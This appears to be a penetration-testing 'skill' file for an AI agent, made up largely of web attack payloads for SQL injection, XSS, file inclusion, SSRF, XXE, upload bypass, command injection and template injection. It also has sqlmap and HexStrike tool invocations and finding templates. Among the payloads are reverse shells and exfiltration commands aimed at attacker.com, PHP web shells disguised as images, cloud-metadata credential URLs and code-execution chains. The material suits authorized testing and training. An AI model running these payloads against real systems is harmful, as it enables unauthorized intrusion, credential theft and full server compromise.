| name | pentest-web-attacks |
| description | Web application penetration testing skills covering SQLi, XSS, LFI, SSRF, XXE, file upload bypass, command injection, and SSTI |
| type | skill |
| version | 1 |
| ptes-phases | 3.1, 4.1, 4.2, 4.4, 4.7, 4.9, 5.1, 5.2 |
| tags | web-attacks, sqli, xss, lfi, ssrf, xxe, file-upload, command-injection, ssti |
Web Application Penetration Testing
Comprehensive web attack methodologies for OSCP+/OSEP preparation. Covers SQL injection, XSS, LFI/RFI, SSRF, XXE, file upload bypass, command injection, and SSTI.
Quick Start
/web-scan TARGET_URL
/sqli-test TARGET_URL
/xss-test TARGET_URL
/lfi-test TARGET_URL
/ssrf-test TARGET_URL
Phase 1: SQL Injection
1.1 String-Based SQL Injection
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
') OR ('1'='1
') OR ('1'='1') --
# Authentication bypass
admin' --
admin' #
admin'/*
' OR 1=1 --
' OR '1'='1' --
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --
# Find number of columns
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
' UNION SELECT 1,2,3 --
' UNION SELECT 1,database(),3 --
' UNION SELECT 1,version(),3 --
' UNION SELECT 1,user(),3 --
1.2 Numeric SQL Injection
1 OR 1=1
1 OR 1=1 --
1 OR 1=1
1' OR 1=1 --
1') OR (1=1 --
1 UNION SELECT 1,2,3 --
1 UNION SELECT 1,database(),3 --
1 UNION SELECT 1,version(),3 --
1 AND 1=1 --
1 AND 1=2 --
1 AND (SELECT COUNT(*) FROM users) > 0 --
1 AND SLEEP(5) --
1; WAITFOR DELAY '0:0:5' --
1 AND BENCHMARK(10000000,MD5('test')) --
1.3 UNION-Based SQL Injection
' UNION SELECT username,password FROM users --
' UNION SELECT column_name,table_name FROM information_schema.columns --
' UNION SELECT table_name,NULL FROM information_schema.tables --
# MySQL
' UNION SELECT 1,2,3,4,5 INTO OUTFILE '/var/www/shell.php' --
' UNION SELECT 1,2,3,4,5 INTO DUMPFILE '/var/www/shell.php' --
# PostgreSQL
' UNION SELECT 1,2,3 INTO TABLE pg_read_file('/etc/passwd') --
' UNION SELECT COPY (SELECT 'test') TO '/tmp/test.txt' --
# MSSQL
' UNION SELECT 1,2,3 INTO OPENROWSET('SQLNCLI','Server=x;Database=y;Uid=z','SELECT * FROM table') --
1.4 Error-Based SQL Injection
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()))) --
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version())),1) --
' AND (SELECT CAST(version() AS NUMERIC)) --
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --
' AND (SELECT CONVERT(INT,@@version)) --
' AND (SELECT 1/@@version) --
1.5 Blind SQL Injection
' AND SUBSTRING((SELECT database()),1,1)='a' --
' AND ASCII(SUBSTRING((SELECT user()),1,1))=97 --
' AND (SELECT COUNT(*) FROM users WHERE username='admin') > 0 --
# Time-based blind (MySQL)
' AND SLEEP(5) --
' AND IF(1=1,SLEEP(5),0) --
' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) --
' AND (SELECT PG_SLEEP(5)) --
' AND (SELECT CASE WHEN (1=1) THEN PG_SLEEP(5) ELSE 0 END) --
' AND WAITFOR DELAY '0:0:5' --
' AND IF(1=1) WAITFOR DELAY '0:0:5' --
' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\test'))) --
' AND (SELECT pg_read_file('/etc/passwd')) --
1.6 SQLMap Automation
sqlmap -u "http://target.com/page?id=1"
sqlmap -u "http://target.com/page?id=1" --batch --risk=3 --level=5
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --columns
sqlmap -u "http://target.com/page?id=1" -D database -T users -C username,password --dump
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target.com/page?id=1" --file-write="/tmp/shell.php" --file-dest="/var/www/shell.php"
sqlmap -u "http://target.com/page?id=1" --os-shell
sqlmap -u "http://target.com/page?id=1" --os-cmd="whoami"
sqlmap -u "http://target.com/login" --data="username=admin&password=test"
sqlmap -u "http://target.com/page" --cookie="session=abc123"
sqlmap -u "http://target.com/page" --headers="X-Forwarded-For: 127.0.0.1"
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,between,equaltolike
1.7 Second-Order SQL Injection
username: admin' AND (SELECT SLEEP(5)) --
password: test123
# Trigger on second request
GET /profile?user=admin
# Or extract data
username: admin' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\a'))) --
1.8 NoSQL Injection
username: {"$ne": null}
password: {"$ne": null}
username: {"$regex": "^a"}
password: {"$regex": ".*"}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"$where": "return this.username == 'admin'"}
username[$regex]=a.*
password[$ne]=random
Phase 2: Cross-Site Scripting (XSS)
2.1 HTML Context XSS
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onmouseover=alert(1)>
<div onmouseover=alert(1)>hover me</div>
<a href="javascript:alert(1)">click me</a>
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<script/src=//evil.com/xss.js></script>
2.2 Attribute Context XSS
" onmouseover="alert(1)"
' onmouseover='alert(1)'
><script>alert(1)</script>
# Inside href
javascript:alert(1)
data:text/html,<script>alert(1)</script>
# Inside src
javascript:alert(1)
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
# Inside value
";alert(1);"
'-alert(1)-'
2.3 JavaScript Context XSS
// Inside JavaScript variable
';alert(1);//
');alert(1);//
'};alert(1);//{
// Template literal
${alert(1)}
${document.domain}
// Without quotes
;alert(1)//
-alert(1)-
+alert(1)+
2.4 URL-Based XSS
?callback=<script>alert(1)</script>
?redirect=<script>alert(1)</script>
?url=<script>alert(1)</script>
%3Cscript%3Ealert(1)%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
2.5 DOM-Based XSS
document.write()
document.writeln()
element.innerHTML
element.outerHTML
eval()
setTimeout()
setInterval()
location.hash
location.search
http://target.com/page#<img src=x onerror=alert(1)>
http://target.com/page?callback=<script>alert(1)</script>
2.6 SVG XSS
<svg onload=alert(1)>
<svg/onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><script xlink:href="data:,alert(1)"></script></svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="200" style="fill:rgb(0,0,255);" />
<script type="text/javascript">alert(1)</script>
</svg>
2.7 XSS Polyglot
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>
# Ashar's polyglot
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert(1)//>
# Simple polyglot
"><img/src=x onerror=alert(1)//
2.8 XSS Filter Bypass
<ScRiPt>alert(1)</ScRiPt>
%253Cscript%253Ealert(1)%253C/script%253E
\u003cscript\u003ealert(1)\u003c/script\u003e
<script>alert(1)</script>
<scr\u0000ipt>alert(1)</script>
<script%0A>alert(1)</script>
<script%0D>alert(1)</script>
<script%09>alert(1)</script>
2.9 XSS with Dalfox
dalfox url http://target.com/page
dalfox url http://target.com/page -o dalfox_report.html
dalfox url http://target.com/page -w custom_wordlist.txt
dalfox url http://target.com/page --blind https://your-bxss-server.com
cat urls.txt | dalfox pipe -o report.html
Phase 3: Local File Inclusion (LFI)
3.1 Path Traversal
../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afpasswd
../../../etc/passwd%00
../../../etc/passwd\0
3.2 PHP Wrappers
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php
php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
data://text/plain,<?php system($_GET['cmd']); ?>
expect://id
expect://whoami
zip://shell.jpg%23shell.php
phar://shell.jpg/shell.php
3.3 Linux Files
/etc/passwd
/etc/shadow
~/.bash_history
~/.ssh/id_rsa
~/.ssh/authorized_keys
/var/mail/username
/var/www/html/index.php
/var/www/html/config.php
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/proc/self/environ
/proc/self/cmdline
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/version
/etc/hosts
/etc/hostname
3.4 Windows Files
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\system.ini
C:\boot.ini
C:\Users\username\AppData\Local\Microsoft\Windows\History\*
C:\Users\username\AppData\Local\Microsoft\Windows\Temporary Internet Files\*
C:\Users\username\Documents\*
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\Program Files\*\*.log
C:\Program Files (x86)\*\*.log
3.5 LFI to RCE
?page=/proc/self/environ&cmd=id
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com
?page=/var/log/apache2/access.log&cmd=id
?page=/var/lib/php/sess_SESSID
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" shell.jpg
?page=uploads/shell.jpg&cmd=id
3.6 LFI Automation
liffy -u "http://target.com/page?file="
fimap -u "http://target.com/page?file="
fimap -m -u "http://target.com/page?file="
python3 lfisuite.py --auto "http://target.com/page?file="
Phase 4: Server-Side Request Forgery (SSRF)
4.1 Basic SSRF
http://127.0.0.1:80
http://localhost:80
http://0.0.0.0:80
http://[::]:80
http://192.168.1.1
http://10.0.0.1
http://172.16.0.1
http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:27017
4.2 SSRF Filter Bypass
http://%31%32%37%2e%30%2e%30%2e%31
http://127.0.0.1%00
http://127.1.1.1.nip.io
http://127.1.1.1.xip.io
http://2130706433/ (127.0.0.1)
http://0177.0.0.1
http://0177.0.0.01
http://[::1]:80
http://[0:0:0:0:0:ffff:7f00:1]
http://127.0.0.1%252f%252e%252e
http://localhost%2500.com
4.3 Cloud Metadata SSRF
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/public-keys/
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/instance/attributes/
http://169.254.169.254/metadata/instance/compute/?api-version=2021-02-01
http://169.254.169.254/metadata/instance/compute/osProfile?api-version=2021-02-01
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/user-data
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://192.0.0.192/latest/instance/
4.4 SSRF with Gopher
gopher://127.0.0.1:6379/_SET%20mykey%20myvalue
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20shell.php
gopher://127.0.0.1:6379/_SET%20mykey%20%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E
gopher://127.0.0.1:6379/_SAVE
gopher://127.0.0.1:3306/_SELECT%201;SHOW%20DATABASES;
gopher://127.0.0.1:25/_MAIL%20FROM:<attacker@evil.com>%0D%0A
gopher://127.0.0.1:11211/_set%20mykey%200%200%2010%0D%0amyvalue%0D%0A
4.5 SSRF with Dict
dict://127.0.0.1:22/
dict://127.0.0.1:80/
dict://127.0.0.1:443/
dict://127.0.0.1:6379/INFO
4.6 SSRF Tools
git clone https://github.com/swisskyrepo/SSRFmap
python3 ssrfmap.py -u "http://target.com/page?url=" -p aws
python3 gopherus.py --exploit
python3 see-surf.py --url "http://target.com"
Phase 5: XML External Entity (XXE)
5.1 In-Band XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<foo>&xxe;</foo>
5.2 Out-of-Band XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>&xxe;</foo>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % param SYSTEM "http://attacker.com/evil.dtd">
%param;
]>
<foo>test</foo>
5.3 Blind XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<foo>test</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % delay SYSTEM 'http://attacker.com/'>">
%eval;
%delay;
]>
<foo>test</foo>
5.4 XXE with Different Parsers
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>
5.5 XXE OOB with FTP
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'ftp://attacker.com:2121/%data;'>">
%eval;
%exfiltrate;
nc -lvnp 2121
Phase 6: File Upload Bypass
6.1 Extension Bypass
.php, .php3, .php4, .php5, .php7, .phtml
.asp, .aspx, .ashx, .asmx
.jsp, .jspx, .jspf
.cgi, .pl
shell.php.jpg
shell.php.png
shell.php5.gif
shell.phtml.php
shell.asp.aspx
shell.php%00.jpg
shell.php\0.jpg
shell.Php
shell.PHP
shell.pHp
6.2 Content-Type Bypass
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
6.3 Magic Bytes Bypass
GIF89a;<?php system($_GET['cmd']); ?>
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>
\xff\xd8\xff\xe0\x00\x10JFIF<?php system($_GET['cmd']); ?>
echo -ne '\x89PNG\r\n\x1a\n' > shell.png
cat shell.php >> shell.png
6.4 Polyglot Files
GIF89a/*
<?php system($_GET['cmd']); ?>
*/
\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR<?php system($_GET['cmd']); ?>
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" shell.jpg
6.5 .htaccess Upload
AddType application/x-httpd-php .jpg
AddHandler application/x-httpd-php .jpg
AddType application/x-httpd-php .png
AddHandler application/x-httpd-php .gif
6.6 SVG Upload XSS
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="200" style="fill:rgb(0,0,255);" />
<script type="text/javascript">alert(document.domain)</script>
</svg>
Phase 7: Command Injection
7.1 Basic Command Injection
; id
| id
|| id
&& id
`id`
$(id)
& whoami
| whoami
|| whoami
&& whoami
%COMSPEC% /c whoami
7.2 Command Injection Payloads
; whoami
| whoami
|| whoami
&& whoami
; cat /etc/passwd
; ls -la
; id; whoami
| cat /etc/passwd
| ls -la
| id
`cat /etc/passwd`
`ls -la`
`id`
$(cat /etc/passwd)
$(ls -la)
$(id)
7.3 Command Injection Filter Bypass
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
cat</etc/passwd
{cat,/etc/passwd}
cat${TAB}/etc/passwd
cat%0A/etc/passwd
%3B%20whoami
%7C%20whoami
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash
printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'
7.4 Out-of-Band Command Injection
nslookup $(whoami).attacker.com
dig $(cat /etc/passwd | base64).attacker.com
curl http://attacker.com/$(whoami)
wget http://attacker.com/$(cat /etc/passwd | base64)
bash -i >& /dev/tcp/attacker.com/4444 0>&1
nc -e /bin/sh attacker.com 4444
7.5 Blind Command Injection
; sleep 5
| sleep 5
|| sleep 5
&& sleep 5
; if [ $(id -u) -eq 0 ]; then sleep 5; fi
| ifconfig | grep -q eth0 && sleep 5
; cat /etc/passwd > /tmp/output
; ls -la > /tmp/output
Phase 8: Server-Side Template Injection (SSTI)
8.1 SSTI Detection
${7*7}
{{7*7}}
<%= 7*7 %>
${{7*7}}
{{7*'7'}}
{{7+'7'}}
{{7-'7'}}
{{7/7}}
{{'a'+'b'}}
{{'a'.'b'}}
8.2 Jinja2 SSTI (Python)
{{7*7}}
{{'a'+'b'}}
{{''.__class__.__mro__[2].__subclasses__()}}
{{request.__class__.__mro__[2].__subclasses__()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[140].__init__.__globals__['popen']('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__=={}.__class__ %}{% if 'eval' in b.keys() %}{{b['eval']('__import__("os").popen("id").read()')}}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
8.3 Twig SSTI (PHP)
{{7*7}}
{{'a'~'b'}}
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}
{{include('/etc/passwd')}}
{{_self.env.registerUndefinedFilterCallback('system')}}
{{_self.env.getFilter('id')}}
8.4 Freemarker SSTI (Java)
${7*7}
${'a'+'b'}
${"freemarker.template.utility.Execute"?new()("id")}
${"freemarker.template.utility.Execute"?new()("whoami")}
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.Runtime").getRuntime().exec("whoami")}
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.File","/etc/passwd").exists()}
8.5 ERB SSTI (Ruby)
<%= 7*7 %>
<%= 'a'+'b' %>
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>
8.6 Pug SSTI (Node.js)
- var x = 7*7
- var x = require('child_process').execSync('id').toString()
- var x = require('fs').readFileSync('/etc/passwd', 'utf8')
Integration with HexStrike Tools
mcp__hexstrike-local__sqlmap_scan \
url="http://target.com/page?id=1" \
additional_args="--batch --risk=3 --level=5"
mcp__hexstrike-local__dalfox_xss_scan \
url="http://target.com/page" \
blind=true \
mining_dom=true
mcp__hexstrike-local__nikto_scan \
target="http://target.com" \
additional_args="-Tuning 123456789"
mcp__hexstrike-local__wpscan_analyze \
url="http://target.com" \
additional_args="--enumerate vp,vt,u"
mcp__hexstrike-local__dirsearch_scan \
url="http://target.com" \
extensions="php,asp,aspx,jsp,html,js,css" \
recursive=true \
threads=50
mcp__hexstrike-local__ffuf_scan \
url="http://target.com/FUZZ" \
wordlist="/usr/share/wordlists/dirb/common.txt" \
mode="directory" \
match_codes="200,301,302"
mcp__hexstrike-local__nuclei_scan \
target="http://target.com" \
severity="critical,high,medium" \
tags="sqli,xss,lfi,ssrf,xxe"
mcp__hexstrike-local__burpsuite_alternative_scan \
target="http://target.com" \
scan_type="comprehensive" \
headless=true \
max_depth=5
PTES Mapping
| PTES Phase | Web Technique | Command |
|---|
| 3.1 Threat Modeling | Attack surface analysis | Manual review |
| 4.1 Vulnerability Analysis | SQL Injection | sqlmap, manual testing |
| 4.2 Vulnerability Analysis | XSS | dalfox, manual testing |
| 4.4 Exploitation | LFI to RCE | php://filter, log poisoning |
| 4.7 Post-Exploitation | Web shells | Manual upload |
| 4.9 Post-Exploitation | Database dump | sqlmap --dump |
| 5.1 Reporting | Finding documentation | Finding templates below |
| 5.2 Reporting | Remediation | Per-finding guidance |
Finding Templates
SQL Injection
Severity: Critical
CVSS: 9.8
Description:
The application is vulnerable to SQL injection attacks through unsanitized user input in database queries.
Evidence:
- Payload
' OR '1'='1 returns different response
- Time-based payloads cause delays
- sqlmap confirms vulnerability
Impact:
- Full database compromise
- Data exfiltration
- Authentication bypass
- Potential RCE via INTO OUTFILE
Remediation:
- Use parameterized queries/prepared statements
- Implement input validation
- Apply least privilege to database accounts
- Enable WAF rules for SQL injection
Cross-Site Scripting (XSS)
Severity: High
CVSS: 7.5
Description:
The application reflects or stores user input without proper sanitization, allowing execution of arbitrary JavaScript.
Evidence:
<script>alert(1)</script> executes in browser
- Event handlers bypass filters
- DOM sinks identified
Impact:
- Session hijacking
- Credential theft
- Defacement
- Malware distribution
Remediation:
- Implement output encoding
- Use Content Security Policy (CSP)
- Validate and sanitize all user input
- Use frameworks with auto-escaping
Local File Inclusion (LFI)
Severity: High
CVSS: 8.2
Description:
The application allows inclusion of local files through unsanitized user input in file path parameters.
Evidence:
../../../etc/passwd returns file contents
- PHP wrappers successfully exploited
- Log poisoning achieved RCE
Impact:
- Sensitive file disclosure
- Credential theft
- Remote code execution
- Full system compromise
Remediation:
- Avoid dynamic file inclusion
- Implement whitelist of allowed files
- Use chroot jails or containers
- Disable dangerous PHP wrappers
Server-Side Request Forgery (SSRF)
Severity: High
CVSS: 8.6
Description:
The application allows fetching of arbitrary URLs, enabling access to internal services and cloud metadata.
Evidence:
- Internal IPs accessible
- Cloud metadata endpoints reachable
- Gopher/Dict protocols abused
Impact:
- Internal network reconnaissance
- Cloud credential theft
- Access to internal services
- Port scanning
Remediation:
- Validate and whitelist allowed URLs
- Block internal IP ranges
- Disable unnecessary protocols
- Implement network segmentation
XML External Entity (XXE)
Severity: High
CVSS: 8.2
Description:
The application parses XML input with external entity resolution enabled, allowing file disclosure and SSRF.
Evidence:
- External entities resolved
- File contents exfiltrated
- OOB data exfiltration successful
Impact:
- Sensitive file disclosure
- SSRF attacks
- Denial of service
- Potential RCE
Remediation:
- Disable external entity resolution
- Use JSON instead of XML
- Implement input validation
- Update XML parsers
File Upload Bypass
Severity: Critical
CVSS: 9.1
Description:
The application's file upload functionality can be bypassed to upload malicious files.
Evidence:
- PHP files uploaded successfully
- Extension filters bypassed
- Magic bytes validation bypassed
Impact:
- Remote code execution
- Web shell deployment
- Full server compromise
- Data breach
Remediation:
- Implement strict file type validation
- Store uploads outside webroot
- Use random filenames
- Implement file content validation
Command Injection
Severity: Critical
CVSS: 10.0
Description:
The application executes system commands with unsanitized user input.
Evidence:
- Command separators accepted
- Commands executed successfully
- OOB exfiltration confirmed
Impact:
- Full system compromise
- Lateral movement
- Data exfiltration
- Persistence
Remediation:
- Avoid system command execution
- Use parameterized APIs
- Implement input validation
- Run with minimal privileges
Server-Side Template Injection (SSTI)
Severity: Critical
CVSS: 9.8
Description:
The application renders user-controlled input as template code, allowing arbitrary code execution.
Evidence:
- Math expressions evaluated
- Class exploration successful
- RCE achieved via template engine
Impact:
- Full system compromise
- Data exfiltration
- Lateral movement
- Persistence
Remediation:
- Use sandboxed template engines
- Avoid user input in templates
- Implement input validation
- Use logic-less templates
Additional Resources